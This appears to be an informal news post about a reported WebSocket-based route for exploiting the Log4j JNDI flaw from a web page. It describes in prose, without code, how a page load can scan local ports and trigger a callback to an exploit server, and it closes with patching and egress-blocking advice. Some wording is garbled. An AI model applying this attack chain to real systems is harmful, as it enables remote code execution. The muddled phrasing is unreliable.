One assumption about the Log4j security vulnerability was that it was limited to vulnerable server. We were wrong. The security company claims to have found a new attack. According to the report, this newly-discovered jаvascript WebSocket attack can be exploited through the path of a listening server on their machine or local network. An attacker can simply navigate to a website. It can be hard to gain deep visibility into WebSocket connections within the host. It's harder to detect this vulnerability and attacks using it. The attack surface is greatly expanded by this vector. How much? It can be used on services that are not exposed to a network. This is a problem we like to call a "Shoot me now" problem. Did I mention that? The client has no control over the connections. When a website loads, they can silently start. Do you like the word "silently" in this context? I know I do. In their proof-of-concept attack, they found that they could use one of the many Java Naming and Directory Interface (JNDI) exploits to get to machines with an installed vulnerable Log4j2 library. The path request that was started on the web page load was all that was needed for success. Simple, but deadly. It doesn't need to be localhost. WebSockets can be used to connect to any internet address. "Any intellectual property" and that includes private space.
Next, as the page loads, it will initiate a local WebSocket connection, hit the vulnerable listening server, and connect out over the identified type of connection based on the JNDI connection string. The researchers saw the most success using Java Remote Method Invocation. The easiest way to launch a successful attack was simply port scanning. The company found that it is easy to cause traffic in the background when detecting such attacks. If an open port to a local service or a service accessible to the host is found, the JNDI exploit can be dropped. When this happens, the vulnerable host calls out to the exploit server, loads the attacker's class, and executes it with java.exe as the parent process. The attacker can run whatever he wants.
Users are urged to update their local development efforts, internal applications, and internet-facing environments to Log4j 2.16 before threat actors can weaponize this exploit further. Make sure that only certain machines can send out traffic over certain ports. All other ports should be blocked. The report says that since Log4j applications often attempt to call back home to their masters over random high ports, you should block their access.
